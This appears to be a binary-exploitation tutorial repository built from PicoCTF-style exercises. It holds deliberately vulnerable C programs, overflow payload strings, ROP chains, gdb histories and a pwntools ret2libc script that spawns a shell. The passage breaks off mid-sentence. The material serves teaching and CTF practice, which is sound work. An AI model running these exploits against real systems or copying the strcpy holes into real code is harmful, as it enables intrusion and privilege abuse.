Repository: bert88sta/how2exploit_binary Branch: master Commit: 41cdecf10a75 Files: 25 Total size: 40.3 KB Directory structure: gitextract_51pstl_a/ ├── README.md ├── exercise-1/ │ ├── README.md │ ├── overflow2 │ └── overflow2.c ├── exercise-2/ │ ├── README.md │ ├── overflow │ └── overflow.c ├── exercise-3/ │ ├── .gdb_history │ ├── README.md │ ├── overflow │ └── overflow.c ├── exercise-3.5/ │ └── README.md ├── exercise-4/ │ ├── .gdb_history │ ├── README.md │ ├── exercise-4 │ ├── exercise-4.c │ ├── libc.so.6 │ └── soln_exercise-4.py ├── install.sh ├── intro-1/ │ ├── README.md │ └── hello_world.c ├── intro-2/ │ ├── README.md │ ├── overflow1 │ └── overflow1.c └── terms/ └── README.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # how2exploit_binary: get your hack on. ### A note from the creator Greetings, fellow hacker, hobbyist, or computer enthusiast. If you've been looking for a place to start learning binary exploitation, then you're in luck. This tutorial is intended for anyone with experience in coding, ideally C or C++, but I only knew Python when I started. Written by someone who is just barely better than "incompetent," I'll be explaining how I learned my skills. These tutorials will be a bit long winded, but hopefully they will be informative and entertaining. Please feel free to contact me about any clarifications that should be included in the tutorials. **This is intended for Linux. It's free if you don't already have it. Don't want to dual boot? Get a VM.** -Best of luck [Bretley](https://github.com/Bretley) ## The Grand Glossary of Terms I've compiled this list of as many useful things as I could find. It contains all sorts of goodies that I wish I had found or had explained to me earlier. If you have a question, it can probably be answered in here. Otherwise, get your Google-Fu on * [The Glossary](terms) ## External Tools. I strongly recommend you install and use the following tools to make your life a bit easier: * [longld/peda](https://github.com/longld/peda/): I use this tool in all of these tutorials. It provides a wide range of useful functions and makes `gdb` far more user friendly. Just follow the installation instructions in the repo. * [Gallopsled/pwntools](https://github.com/Gallopsled/pwntools): pwntools is an exploit framework built in my favorite language, python. It has a whole slew of useful functions and chicanery that makes the exploit process more fun and less painful. Install with: `$ sudo pip install pwntools` ## Introductory Tutorials: * [Setup Script](./install.sh) * [Intro 1: What is a binary, really?](intro-1) * [Companion Video](https://youtu.be/6cNbKnxbAWw) * [Areece x86 Calling Conventions](http://codearcana.com/posts/2013/05/21/a-brief-introduction-to-x86-calling-conventions.html) * [Intro 2: Screwing around with the stack](intro-2) ## Buffer Overflows and ROP: * [1: The power of SEGFAULT](exercise-1) * [2: Build your own `system()`](exercise-2) * [3: Follow the Yellow Brick Functions](exercise-3) * [3.5: Learning pwntools](exercise-3.5) * [4: Pay a Visit to Your Local Library](exercise-4) ## Heap Exploitation: * More to come here soon ;) ================================================ FILE: exercise-1/README.md ================================================ # The power of SEGFAULT **Credit to [PicoCTF 2013](2013.picoctf.com) for problem** Consider our file for this exercise [overflow2.c](overflow2.c): ```C #include #include #include /* This never gets called! */ void give_shell(){ gid_t gid = getegid(); setresgid(gid, gid, gid); system("/bin/sh -i"); } void vuln(char *input){ char buf[16]; strcpy(buf, input); } int main(int argc, char **argv){ if (argc > 1) vuln(argv[1]); return 0; } ``` Looking at the code for this program, you'll see the function `strcpy()` is called with our argument as a parameter. Since there are no size checks on our input, we can try to manipulate the stack just like before. You'll notice that there is no way `give_shell()` gets called. Not yet at least ;) ``` $ ./overflow2 $(python -c 'print "A"*24') Segmentation fault (core dumped) ``` Segmentation fault? What's this? Simply put, a segmentation fault simply means that the program tried to access an address that isn't there. Let's use `strace` to see what's really happening. ``` $ strace ./overflow2 $(python -c 'print "A"*32') ... ... --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} --- ``` The address in question is `0x41414141`, or four "A"s. What does this mean? Consider the disassembly of the function `vuln()`, as well as `main()` where it's called. ``` $ gdb -q ./overflow2 Reading symbols from ./overflow2...(no debugging symbols found)...done. gdb-peda$ disas main ... 0x08048516 <+26>: call 0x80484e2 0x0804851b <+31>: mov $0x0,%eax ... gdb-peda$ disas vuln Dump of assembler code for function vuln: 0x080484e2 <+0>: push %ebp 0x080484e3 <+1>: mov %esp,%ebp 0x080484e5 <+3>: sub $0x28,%esp 0x080484e8 <+6>: mov 0x8(%ebp),%eax 0x080484eb <+9>: mov %eax,0x4(%esp) 0x080484ef <+13>: lea -0x18(%ebp),%eax 0x080484f2 <+16>: mov %eax,(%esp) 0x080484f5 <+19>: call 0x8048360 0x080484fa <+24>: leave 0x080484fb <+25>: ret End of assembler dump. ``` You might remember from [Intro 2](../intro-2) that you can overwrite values on the stack with a `strcpy()` vulnerability. In the lines of `main()`, control is passed to the function `vuln()`. However, `vuln()` needs to know where to return to in `main()` when it finishes. This is called a return address. In this case, `vuln()` should jump back to `0x0804851b`, the instruction right after `main()` calls `vuln()`. When we get a SEGFAULT that we control, that means that we've overwritten the return address. What can we do with this? The possibilities are pretty much endless. You have control over the code's flow, so maybe we can call some other function, namely `give_shell()`. ``` $ objdump -d overflow2 | grep give_shell 080484ad : ``` Now that we have the address of a useful function, let's see if we can supply *our own* return address. First, as you may remember from the last tutorial, some of these characters aren't printable. We'll need to convert it to an escape sequence and reverse the order, leaving us with this: `"\xad\x84\x04\x08"`. Now we can substitute it in! ``` $ ./overflow2 $(python -c 'print "A"*28 + "\xad\x84\x04\x08"') $ ls overflow2 overflow2.c README.md ``` We now have a shell! ================================================ FILE: exercise-1/overflow2.c ================================================ #include #include #include /* This never gets called! */ void give_shell(){ gid_t gid = getegid(); setresgid(gid, gid, gid); system("/bin/sh -i"); } void vuln(char *input){ char buf[16]; strcpy(buf, input); } int main(int argc, char **argv){ if (argc > 1) vuln(argv[1]); return 0; } ================================================ FILE: exercise-2/README.md ================================================ # Build your own `system()` Well, life is tough. Unlike in the first overflow exercise, there's no included function that you can call to get a shell. But let's try and get a shell anyways. ```C # include # include # include int main(int argc, char **argv) { if (argc>1) { gid_t gid = getegid(); setresgid(gid, gid, gid); printf("Good thing you don't have /bin/sh"); printf("\nGood luck getting a shell.\n"); system("echo You Lose!\n"); char buf[24]; strcpy(buf,argv[1]); } return 0; } ``` Now unlike the last problem, you might notice that there is no call to `system("/bin/sh")`. This means we're going to have to be a bit more clever. Let's take a look at the disassembly to learn a bit more about `system()` ```gdb $ gdb -q ./overflow Reading symbols from ./overflow...(no debugging symbols found)...done. gdb-peda$ disas main Dump of assembler code for function main: ... 0x0804853c <+47>: call 0x8048400 0x08048541 <+52>: movl $0x8048620,(%esp) 0x08048548 <+59>: call 0x8048390 0x0804854d <+64>: movl $0x8048642,(%esp) 0x08048554 <+71>: call 0x80483c0 0x08048559 <+76>: movl $0x804865e,(%esp) 0x08048560 <+83>: call 0x80483d0 ``` Now what is `system@plt`? This is a crucial part. This binary is dynamically linked. This means that the binary makes calls to an actual libc file that gets put into memory. Luckily for us, dynamically linked binaries have PLT stubs. Since ASLR randomizes libc addresses as well, the binary needs some way to reliably call the functions it uses. The PLT is a wrapper function for the actual code in libc. **The PLT is a part of the binary, it's address doesn't change.** If you call `system@plt`, you'll call `system()`. So how are we going to do this? Since the PLT is a part of the binary, we'll use `objdump`. ```objdump $ objdump -d overflow | grep system 080483d0 : 8048560: e8 6b fe ff ff call 80483d0 ``` Now let's try to break the binary. ```salt $ strace ./overflow $(python -c 'print "A"*44') ... --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} --- ``` We get control of `$eip` after 40 bytes. `$eip` is the instruction pointer register. This is the same as overwriting a return value. It simply means that we have control over the control flow. Now let's supply our address. ```shell ./overflow $(python -c 'print "A"*40 + "\xd0\x83\x04\x08"') Good thing you don't have /bin/sh Good luck getting a shell. You Lose! sh: 1: ������: not found Segmentation fault (core dumped) ``` Now this is really weird. What happened here is that we called `system()`. We didn't provide any arguments for `system()` so it just pulled some junk from the stack. Calling a function in an exploit has to take this form: \[address of function\] \[return address\] \[argument\] Now when the programmer wrote this, (I wrote this one :P) he thought he could be smart and make fun of you for not having a `"/bin/sh"` string. However, he didn't realize that by including that string in the code, the string is in the binary. We can use `gdb` to find the string! ```gdb $ gdb -q ./overflow Reading symbols from overflow...(no debugging symbols found)...done. gdb-peda b*main Breakpoint 1 at 0x804850d gdb-peda$ r Breakpoint 1, 0x0804850d in main () gdb-peda$ find /bin/sh Searching for '/bin/sh' in: None ranges Found 3 results, display max 3 items: overflow : 0x804863a ("/bin/sh") overflow : 0x804963a ("/bin/sh") libc : 0xf7f82a24 ("/bin/sh") ``` Now you'll notice that two of these are in the binary. I'll just pick the first one and run with it. Finally, our finished exploit looks like so: ```shell ./overflow $(python -c 'print "A"*40 + "\xd0\x83\x04\x08" + "FAKE" + "\x3a\x86\x04\x08"') ``` ================================================ FILE: exercise-2/overflow.c ================================================ #include #include #include int main(int argc, char **argv) { if (argc>1) { gid_t gid = getegid(); setresgid(gid, gid, gid); printf("Good thing you don't have /bin/sh"); printf("\nGood luck getting a shell.\n"); system("echo You Lose!\n"); char buf[24]; strcpy(buf,argv[1]); return 0; } else { return 0; } } ================================================ FILE: exercise-3/.gdb_history ================================================ fin sh b*main r find sh find sh binary file overflow cler clear dumprop binary ropsearch binary b*main r ropsearch binary ropsearch ropsearch "" ropsearch "pop" ropsearch "" ropsearch binary1 q clear b*main r clear dumprop ropsearch "" clear find /b p strcpy checksec q p bss info address __bss_start q q find "/b" binary b*main r find "/b" binary find "in/" binary find "sh" binary ropsearch "" binary b*main r ropsearch "" binary ropsearch "" binary | grep pop ropsearch "" binary set arg $(python -c 'print "A"*76 + "\x60\x83\x04\x08" + "\x2c\xa0\x04\x08" + "\x9e\x85\x04\x08" + "\x50\x83\x04\x08" + "\x2c\xa0\x04\x08" + "\x2c\xa0\x04\x08" + "\x29\x95\x04\x08" + "\x50\x83\x04\x08" + "\x50\x83\x04\x08" + "\x2c\xa0\x04\x08" + "\x96\x86\x04\x08"+ "\x80\x83\x04\x08" + "JUNK" + "\x2c\xa0\x04\x08"') b*main r ni q file overflow find /b binary b*main r find /b binary find in/ binary find sh binary q file overflow info addr __bss_start zdq q q q clear ls clear q b*main r ropsearch "" binaru ropsearch "" binary clear clear ls find "/b" binary find "in/" binary find "sh" binary ropsearch "" binary dd q b*main r celar ls ropsearch "" binary q clear ls clear q ================================================ FILE: exercise-3/README.md ================================================ # Follow the Yellow Brick Functions In this problem, I smartened up. Nowhere in the binary will you find `"/bin/sh"` ```C # include # include int main(int argc, char **argv) { putenv("PATH="); printf("I've broken up my system call!\n"); printf("You think I've included what you need for this? You wish\n"); char user_buf[64]= ""; if (argc > 1) { strcpy(user_buf,argv[1]); } else { printf("usage: ./overflow [input]\n"); return 0; } char buf1[10] = "/b"; char buf2[8] = "in/"; char buf3[5] = "date"; strcat(buf2,buf3); strcat(buf1,buf2); system(buf1); printf("Aren't these string functions wonderful?\n"); return 0; } ``` As you'll remember from the previous exercise, putting `"/bin/sh"` in the binary was a mistake. This problem is geared very similarly with a little bit of extra finesse. First things first, we'll find the offset of `%eip` ```gdb $ strace ./overflow $(python -c 'print "A"*76 + "BBBB"') ... --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} --- ``` After 76 bytes we have `%eip`! From here we have to get a bit clever. If you take anything from this exercise, it's this: **If a function is in the binary an PIE is not enabled, you have access to the function.** This means we can access to the `strcat()` and `strcpy()` functions. We can use these to cleverly get ourselves a shell. Now, for a quick introduction to the `.bss` segment. `.bss` refers to the part of data memory used by many compilers and linkers for holding statically-allocated variables that are not explicitly initialized to any value. Regardless of what the program uses the `.bss` segment for, know that it's a scratch pad for hackers. We can use it to reliably store data when the stack is randomized. We could use the GOT, but it might mess up functions we need. Knowing this, how can we get a shell? The answer lies in the functions used. We have the strings `"/b"` and `"in/"` in the binary. We also have `"sh"` at the end of the second print statement! :D Let's use `objdump` to get some function addresses: ```objdump $ objdump -d overflow | grep ">:" ... 08048370 : 08048380 : ... 080483a0 : ``` Next, we will need to find the start of the `.bss` segment: ```gdb $ gdb -q ./overflow Reading symbols from ./overflow...(no debugging symbols found)...done. gdb-peda$ info address __bss_start Symbol "__bss_start" is at 0x804a030 in a file compiled without debugging. ``` Now our exploit (abstractly) is as follows: ```c strcpy(&bss, &"/b" ); strcat(&bss, &"in/"); strcat(&bss,&"sh"); system(&bss) ``` We'll need the addresses of strings in the binary: ```gdb $ gdb -q ./overflow Reading symbols from ./overflow...(no debugging symbols found)...done. gdb-peda$ b*main Breakpoint 1 at 0x80484dd gdb-peda$ r Starting program: /vagrant/how2exploit_binary/overflow-3/overflow Breakpoint 1, 0x080484dd in main () gdb-peda$ find "/b" binary Searching for '/b' in: binary ranges Found 2 results, display max 2 items: overflow : 0x804854e (: das) overflow : 0x804954e --> 0x622f ('/b') gdb-peda$ find "in/" binary Searching for 'in/' in: binary ranges Found 2 results, display max 2 items: overflow : 0x8048565 (: imul $0x2444c700,0x2f(%esi),%ebp) overflow : 0x8049565 --> 0x2f6e69 ('in/') gdb-peda$ find "sh" binary Searching for 'sh' in: binary ranges Found 2 results, display max 2 items: overflow : 0x80486ce --> 0x75006873 ('sh') overflow : 0x80496ce --> 0x75006873 ('sh') ``` Now that we have everything we need, we can learn one more important concept: Chaining Functions. If you only need to call one function to get a shell, you don't need to chain. Otherwise, we need to chain functions. In order to chain functions together we need to somehow remove the arguments from the stack. As you know from before, standard x86 function calls look like: \[function address\] \[return address\] \[arg1\] \[arg2\] ... The first function will run, then the return address, then the program will SEGFAULT when it tries to run the argument as code. We can't have the program trying to run our arguments, so we need to pop them off of the stack. This requires the use of Return Oriented Programming, or a ROP exploit. ROP uses any set of instructions in a binary that ends with a `ret` instruction. In order to find these, you can use `ropshell.com`, `gdb-peda`, or `ROPgadget`. We need a `pop;pop;ret` gadget since we need to pop two arguments off of the stack for every function call except system. Since system is our last call, we don't need a `pop;ret` gadget for it. I'm using `gdb-peda` in this example. ```gdb $ gdb -q ./overflow Reading symbols from ./overflow...(no debugging symbols found)...done. gdb-peda$ b*main Breakpoint 1 at 0x80484dd gdb-peda$ r Starting program: /vagrant/how2exploit_binary/overflow-3/overflow ... Breakpoint 1, 0x080484dd in main () gdb-peda$ ropsearch "" binary Searching for ROP gadget: '' in: binary ranges ... 0x0804863e : (b'5f5dc3') pop %edi; pop %ebp; ret ``` Luckily for us, the binary has the gadget we need! Chaining functions will take this form in our exploit (and future ones, too!) \[&function\] \[&rop_gadget\] \[&arg1\] \[&arg2\] \[&next_function\] You can use any number of arguments as long as you have a rop gadget with the same number of pops. Let's give the exploit a try: ``` /overflow $(python -c 'print "A"*76 + "\x80\x83\x04\x08" + "\x3e\x86\x04\x08" + "\x30\xa0\x04\x08" + "\x4e\x95\x04\x08" + "\x70\x83\x04\x08" + "\x3e\x86\x04\x08" + "\x30\xa0\x04\x08" + "\x65\x95\x04\x08" + "\x70\x83\x04\x08" + "\x3e\x86\x04\x08" + "\x30\xa0\x04\x08" + "\xce\x96\x04\x08" + "\xa0\x83\x04\x08" + "FAKE" + "\x30\xa0\x04\x08"') ``` The layout of the exploit looks like the following: ``` + + + <"/b"> + + + <"/in"> + + + <"sh"> + + ``` You should get a shell, although you won't be able to do much as we didn't set privs. The concept, however, still stands. ================================================ FILE: exercise-3/overflow.c ================================================ #include #include int main(int argc, char **argv) { putenv("PATH="); printf("I've broken up my system call!\n"); printf("You think I've included what you need for this? You wish\n"); char user_buf[64]= ""; if (argc > 1) { strcpy(user_buf,argv[1]); } else { printf("usage: ./overflow [input]\n"); return 0; } char buf1[10] = "/b"; char buf2[8] = "in/"; char buf3[5] = "date"; strcat(buf2,buf3); strcat(buf1,buf2); system(buf1); printf("Aren't these string functions wonderful?\n"); return 0; } ================================================ FILE: exercise-3.5/README.md ================================================ # pwntools Overview **Documentation: https://pwntools.readthedocs.io** First things first: ```python from pwn import * ``` That's just a generic import statement. ```python context(arch='i386', os='linux') ``` This just sets the context for other functions that we'll describe later. ```python binary = ELF("some_challenge") libc = ELF("some_libc") ``` This part adds two ELF objects, binary and libc. ELF objects are supremely useful -- they give you access to a wide array of methods and data fields. I almost always have both of these lines in my script, even if the libc one is commented out. ```python r = process("./some_challenge") ``` This simply executes the challenge (in the same directory.) Alternatively: ```python r = remote("127.0.0.1",1337) #<-- Replace with actual HOST,PORT ``` will run it remotely (many CTFs will not give you a full shell, just a host and a port to connect to the binary.) Many of you will remember taking adresses and turning them into python escape sequences by hand. If the address of the `write()` function is `0xdeadbeef`, the escaped address for `write()` would be `\xef\xbe\xad\xde`. `pwntools` can take care of this for us! ```python write = p32(binary.symbols["write"]) ``` This "packs" (converts to the escape seqence, sort of) the address of `write()` for us on a 32 bit machine. `p64()` also exists, for 64 bit machines. Another thing to be cognizant of is the difference between Big and Little Endian memory encoding. Make sure you know what format the system you're writing an exploit for is using. Assuming `r` is an instantiated process or remote, you can now use these methods to communicate with the binary. ```python r.sendline("This sends a string with a newline appended to the end") r.send("This also sends a string") ``` Reading this information is one thing. Getting real experience is another. **At this point I would strongly recommend solving the first 3 challenges using pwntools.** ================================================ FILE: exercise-4/.gdb_history ================================================ file exercise-4 disas main b*main+194 r < <(python -c 'print "A"*140 + "\x7d\x84\x04\x08" + "A"*148') x /150wx $esp x /150wx $esp-0x40 x /150wx $esp+0x40 x /150wx $esp-0x40 x /150wx $esp-0x100 q p &bss p &__bss_start info file p &__bss_start q ================================================ FILE: exercise-4/README.md ================================================ # Pay your local library a visit At this point you're probably used to hunting through binaries for useful functions or code that you can use to get a shell. But what do you do without a call to `system()`? The simple answer: get a shell anyways. :) The long answer is a bit more complicated. This attack is called a "Return to `libc`", or `ret2libc` for short. If you don't remember the PLT and GOT from before, now is a good time to check the [glossary](../terms) and maybe do some googling. You'll recall that ASLR randomizes the libc address, but the good news is that with arbitrary `read()` and `write()` calls, you can easily circumvent this. This binary has what we call Dynamic Input, which is some super fancy ego-inflating jargon that means we can change inputs in the same program. Basically any program where you can trigger the vulnerability twice (or more) with different exploits in the same run is dynamic. If it still doesn't make sense, just stay tuned. If you haven't already, run through [Exercise 3.5: Intro to pwntools](../exercise-3.5) Seriously, go do that. Now that you've made it this far, I'll give a brief overview of this style of exploit. The libc functions that the PLT stubs call aren't just some magical ethereal functions. They're real and they're mapped to a real page in memory with an address that you can call if you're clever. **The entire libc is in the binary.** From here, we exploit the fact that truly randomizing everything is computationally expensive. Instead, ASLR only randomizes the **base address** of the libc. This means that `&function_1 - &function_2` is constant as long as you're using the same libc file. With this in mind, the goal is to leak (`write()`) the address of some libc function to stdout. we then take that address, compute the address of system, call `main()` (or whatever function contains the vulnerability) again, and call `system()` with the newly computed address. Still confused? I was when I first learned this, but I'll try to explain as I go. First, we have to calculate the offset of `%eip` ```shell $ python -c 'print "A"*140 + "BBBB"' | strace ./exercise-4 ... --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} --- ``` After `140 bytes`, we have `%eip` From here, we need to leak the address of a `libc` function. We can do this by calling `write(1, &function, 4)` I'll be using the GOT address of `read()` (remember that the GOT is an array of pointers into libc) ```objdump $ objdump -d exercise-4 | grep ">:a" ... 08048370 : ... $ objdump -R exercise-4 ... 0804a00c R_386_JUMP_SLOT read ... ``` With these addresses, we get the following exploit. ```shell python -c 'print "A"*140 + "\x70\x83\x04\x08" + "RETN" + "\x01\x00\x00\x00"+ "\x0c\xa0\x04\x08" + "\x04\x00\x00\x00"' | ./exercise-4 ``` If you go ahead and run this a few times, you'll get some weird outputs: ```shell �+o�Segmentation fault (core dumped) �kh�Segmentation fault (core dumped) ��n�Segmentation fault (core dumped) ``` The four bytes before the SEGFAULT are the libc address. From here, we're going to run: ```shell $ ldd exercise-4 linux-gate.so.1 => (0xf76f9000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf753c000) /lib/ld-linux.so.2 (0xf76fa000) ``` Since this is a local binary challenge, the `libc` file is just going to be whatever the standard one is on your computer. **The same binary running on a different machine could have a different `libc`, and therefore give you different results.** All we have to do is grab a copy of that `libc` and put it in our directory. If you ever exploit a remote binary and you don't have the `libc`, there are plenty of places you can get them online. ```shell $ cp /lib/i386-linux-gnu/libc.so.6 ./ ``` Now we need `pwntools`. We'll start our script off with the typical items: ```Python from pwn import * context(arch='i386', os='linux') # <-- Add the architecture and os binary = ELF("exercise-4") libc = ELF("libc.so.6") r = process("./exercise-4") ``` After this, we know we'll need the `read()`, `write()`, the GOT address of `read()`, and a `pop; ret` ropgadget, so we add these in. ```python write_plt = p32(binary.symbols["write"]) read_GOT = p32(binary.symbols["got.read"]) read_plt = p32(binary.symbols["read"]) bss_addr = p32(binary.symbols["__bss_start"]) pop_ret = "\x9d\x85\x04\x08" ``` Now the binary outputs a line first, so we add: ```python r.recvline() ``` Now we should start building our exploit. We want to try to avoid using the escape strings from before, it makes for nicer code and forces you to use `pwntools` the right way. ```python exploit = "A"*140 # EIP offset exploit += write_plt +pop_ret + p32(1)+ read_GOT + p32(4) # Call to write() exploit += p32(binary.symbols["main"]) # Call main() again to retrigger the vulnerability ``` Now we want to send the first payload: ```python r.sendline(exploit) ``` Now here's the cool part. Since we know that the program prints out the address of `read()` in the `libc` (remember those funky bytes from earlier before the SEGFAULT?) we can take those and calculate the base address of `libc`. This indirectly means that we can call any function in the standard library. ```python addr_read = int(r.recv(4)[::-1].encode("hex"),16) r.recvline() libc_base = addr_read - libc.symbols["read"] system = p32(libc_base + libc.symbols["system"]) ``` Let's break down my hacky `addr_read` line. 1. `recv()` 4 bytes from `r` 2. Reverses the remaining bytes (because of little endian encoding) and converts them to hex 3. Parse that as an integer. Voila! We now have the address of `read()` in `libc`. From there, we subtract `read()`s address in the regular libc, giving us the base address for this runtime. In the last line, we add the offset of `system()` in the libc to our calculated base. This gives us the address of system for this runtime. The best part of this whole show is that the pesky `"/bin/sh"` string we need is in `libc`! We can calculate the address of that as well! ```python binsh = p32(libc_base + libc.search("/bin/sh").next()) ``` Now all we've got to do is send our exploit with some extra padding (it was 140 before, but now it's 148 since we overflow from before the stack frame) and we get a shell. ```python r.sendline("A"*148+ system + "RETN" + binsh + binsh) # <- 148?????? why 148? r.interactive() ``` ================================================ FILE: exercise-4/exercise-4.c ================================================ #include #include int main() { char msg[64] = "Joke's on you, there is no system!\n"; char buf[64]; write (1,&msg,strlen(msg)); read(0,buf,256); return 0; } ================================================ FILE: exercise-4/soln_exercise-4.py ================================================ from pwn import * context(arch='i386', os='linux') # <-- Add the architecture and os binary = ELF("exercise-4") libc = ELF("libc.so.6") write_plt = p32(binary.symbols["write"]) read_GOT = p32(binary.symbols["got.read"]) read_plt = p32(binary.symbols["read"]) bss_addr = p32(binary.symbols["__bss_start"]) pop_ret = "\x9d\x85\x04\x08" r=process("./exercise-4") """ You can use these to test it as a server over localhost r=remote("127.0.0.1",1337) run this in a different terminal VVVV socat tcp-listen:1337,fork,reuseaddr exec:"strace ./exercise-4" """ r.recvline() exploit = "A"*140 exploit += write_plt +pop_ret + p32(1)+ read_GOT + p32(4) exploit += p32(binary.symbols["main"]) r.sendline(exploit) addr_read = int(r.recv(4)[::-1].encode("hex"),16) r.recvline() libc_base = addr_read - libc.symbols["read"] system = p32(libc_base + libc.symbols["system"]) binsh = p32(libc_base + libc.search("/bin/sh").next()) r.sendline("A"*148+ system + "RETN" + binsh + binsh) # <- 148?????? why 148? r.interactive() ================================================ FILE: install.sh ================================================ # Update first apt-get -y update; # Basic Programs that need installed apt-get -y install gdb; apt-get -y install gdbserver; apt-get -y install git; apt-get -y install python-dev; apt-get -y install socat; apt-get -y install vim; apt-get -y install python-pip; apt-get -y install gcc-multilib; pip install capstone; # This shouldn't take 3 tries.... pip install pwntools; pip install pwntools; pip install pwntools; git clone https://github.com/longld/peda.git echo "source ~/peda/peda.py" >> ~/.gdbinit ================================================ FILE: intro-1/README.md ================================================ # Intro 1: What is a binary, really? In short, a binary is the output file that the computer can actually run when you compile high level code, such as C or C++. I believe in hands on learning, so we can take a look inside one to really find out. Consider the file [hello_world.c](hello_world.c): ```C # include int main() { printf("Hello World!\n"); } ``` This is your average C file, more or less. It's got a main function, some includes, and a little bit of code to be run. However, your computer can't actually run it. In order to make it usable, we must compile it: ```shell $ gcc -m32 hello_world.c -o hello_world.bin ``` You can ignore the `-m32` argument (we'll talk about it later), but the `-o hello_world.bin` simply specifies what the name of the output file is going to be. From here, we can execute it: ```shell $ ./hello_world.bin Hello World! ``` Unsurprisingly, we get `"Hello World!"` as output. But let's go a bit deeper. We can open `gdb (GNU Debugger)` and see what's happening under the hood: ```gdb $ gdb -q ./hello_world.bin Reading symbols from ./hello_world.bin...(no debugging symbols found)...done. gdb-peda$ disas main Dump of assembler code for function main: 0x0804841d <+0>: push %ebp 0x0804841e <+1>: mov %esp,%ebp 0x08048420 <+3>: and $0xfffffff0,%esp 0x08048423 <+6>: sub $0x10,%esp 0x08048426 <+9>: movl $0x80484d0,(%esp) 0x0804842d <+16>: call 0x80482f0 0x08048432 <+21>: leave 0x08048433 <+22>: ret End of assembler dump. gdb-peda$ quit ``` Your prompt probably looks like `(gdb)`, whereas mine is `gdb-peda$`. Don't worry about this, my gdb is modified. The weird code that `gdb` displayed is called assembly language. It's the lowest level human readable code out there. Each line maps directly to a machine instruction. Let's break this down. ```asm 0x0804841d <+0>: push %ebp 0x0804841e <+1>: mov %esp,%ebp 0x08048420 <+3>: and $0xfffffff0,%esp 0x08048423 <+6>: sub $0x10,%esp ``` The hex numbers you see on the left are addresses. You can think of these just like your house address: `0x0804841d` is where the instruction `push %ebp` lives. These first four instructions are just conventions for a function, in this case `main()`. ```asm 0x08048426 <+9>: movl $0x80484d0,(%esp) 0x0804842d <+16>: call 0x80482f0 ``` These instructions are what actually print out `"Hello World!"`. The program moves the address of the string `"Hello World!"` into the memory address that `%esp` points to. `%esp` is a register, which you can think of as a special place the processor uses for storing values it needs quick access to. Each register can hold up to four bytes, usually some memory address. Our program then calls the `puts()` function, which prints out whatever is at the address we supplied. ```asm 0x08048432 <+21>: leave 0x08048433 <+22>: ret ``` The last two instructions return control from our `main()` function back to the C library, which then does some clean up and exits the program. We'll be learning more about how these binaries function in later tutorials. ================================================ FILE: intro-1/hello_world.c ================================================ #include int main() { printf("Hello World!\n"); } ================================================ FILE: intro-2/README.md ================================================ # Intro 2: Screwing around with the stack. **Credit to [Picoctf 2013](2013.picoctf.com) for the binary and source used here.** Now that you've gotten your feet wet with binaries, it's time to dive in to exploitation with the stack. Consider the file [overflow1.c](overflow1.c) ```C #include #include #include #include #include #include "dump_stack.h" void vuln(int tmp, char *str) { int win = tmp; char buf[64]; strcpy(buf, str); dump_stack((void **) buf, 23, (void **) &tmp); printf("win = %d\n", win); if (win == 1) { execl("/bin/sh", "sh", NULL); } else { printf("Sorry, you lose.\n"); } exit(0); } int main(int argc, char **argv) { if (argc != 2) { printf("Usage: stack_overwrite [str]\n"); return 1; } uid_t euid = geteuid(); setresuid(euid, euid, euid); vuln(0, argv[1]); return 0; } ``` You can tell just by reading through this file that the obvious objective here is to make `win == 1` a true statement, but we're going to ignore that for a few minutes to learn about the stack. The stack is dynamic memory that the program uses to store addresses, arguments, and all sorts of other goodies. Here's an example stack dump: ```salt $ ./overflow1-3948d17028101c40 Usage: stack_overwrite [str] $ ./overflow1-3948d17028101c40 AAAA Stack dump: 0xffd48bf4: 0xffd4a89b (second argument) 0xffd48bf0: 0x00000000 (first argument) 0xffd48bec: 0x0804870f (saved eip) 0xffd48be8: 0xffd48c18 (saved ebp) 0xffd48be4: 0xf7720000 0xffd48be0: 0xf762caa7 0xffd48bdc: 0x00000000 0xffd48bd8: 0xffd48c44 0xffd48bd4: 0xf7744500 0xffd48bd0: 0xffd48c18 0xffd48bcc: 0x00000000 0xffd48bc8: 0x00000000 0xffd48bc4: 0xf7720000 0xffd48bc0: 0xffffffff 0xffd48bbc: 0xf760b216 0xffd48bb8: 0x000000c2 0xffd48bb4: 0xf757f698 0xffd48bb0: 0xf7751938 0xffd48bac: 0xf762cad4 0xffd48ba8: 0x000003e8 0xffd48ba4: 0x000003e8 0xffd48ba0: 0xffd48c00 0xffd48b9c: 0x41414141 (beginning of buffer) win = 0 Sorry, you lose. ``` Now if you know a thing or two about ASCII, you'll know that `0x41` is the value of the character `A`. At the bottom of the stack dump, you'll notice that the beginning of the buffer contains `0x41414141`, or our four `A`'s. Now we can run it again, only this time we'll store a few more `A`'s. Pay attention to the addresses on the left :) ```salt /overflow1-3948d17028101c40 $(python -c 'print "A"*76') Stack dump: 0xfff577d4: 0xfff58853 (second argument) 0xfff577d0: 0x00000000 (first argument) 0xfff577cc: 0x0804870f (saved eip) 0xfff577c8: 0xfff57700 (saved ebp) 0xfff577c4: 0x41414141 0xfff577c0: 0x41414141 0xfff577bc: 0x41414141 0xfff577b8: 0x41414141 0xfff577b4: 0x41414141 0xfff577b0: 0x41414141 0xfff577ac: 0x41414141 0xfff577a8: 0x41414141 0xfff577a4: 0x41414141 0xfff577a0: 0x41414141 0xfff5779c: 0x41414141 0xfff57798: 0x41414141 0xfff57794: 0x41414141 0xfff57790: 0x41414141 0xfff5778c: 0x41414141 0xfff57788: 0x41414141 0xfff57784: 0x41414141 0xfff57780: 0x41414141 0xfff5777c: 0x41414141 (beginning of buffer) win = 1094795585 Sorry, you lose. ``` This shell command: `$(python -c 'print "A"*76')` tells python to print out the `A` character 76 times. Notice that the addresses on the left are completely different than the first run. This is normal, and due to something called `ASLR`, or Address Space Layout Randomization. Most modern OSes have `ASLR` enabled, which is protection that randomizes stack addresses on each run of a program. Now, you might notice that `win = 1094795585` according to the stack dump. What just happened? Back to the source: ```C char buf[64]; strcpy(buf, str); ``` **`strcpy()` is a dangerous function!** Our buffer only holds 64 bytes, however, the buffer we ask to be copied contains 76 bytes. `strcpy()` doesn't care about checking lengths, so the extra 12 bytes that don't fit just get thrown onto the stack. The value of `win` was stored right next to our buffer, so next 